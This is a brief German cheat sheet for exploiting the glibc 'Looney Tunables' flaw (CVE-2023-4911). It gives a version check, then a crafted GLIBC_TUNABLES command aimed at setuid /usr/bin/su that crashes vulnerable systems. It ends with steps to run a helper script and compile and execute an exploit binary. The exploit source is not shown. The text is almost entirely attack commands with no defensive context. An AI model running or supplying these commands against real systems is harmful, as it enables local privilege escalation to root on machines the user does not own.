
Looney Tunables CVE-2023-4911
Überprüfe die glibc-Version
ldd --version
Überprüfe, ob ein System anfällig für Looney Tunables CVE-2023-4911 ist
env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
Wenn wir einen Segmentation fault (core dumped) erhalten, ist das System anfällig.
python3 libc.py
gcc -o exp exp.c
./exp